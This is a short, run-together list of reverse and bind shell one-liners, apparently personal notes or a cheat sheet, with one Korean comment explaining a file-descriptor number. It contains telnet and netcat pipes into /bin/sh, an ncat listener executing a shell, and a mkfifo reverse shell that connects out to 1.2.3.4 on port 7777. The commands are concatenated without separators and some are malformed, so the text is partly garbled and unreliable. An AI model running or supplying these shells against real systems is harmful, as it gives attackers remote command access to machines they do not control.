sleep 1000 | telnet localhost 5555 | /bin/sh | telnet localhost 6666nc localhost 5555 | /bin/sh | nc localhost 6666sh >&4 0ncat -l -p 8888 -e /bin/shexec 1 > &4 ; exec 0 > &4; sh;(4는 fd 넘버) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.2.3.4 7777 >/tmp/f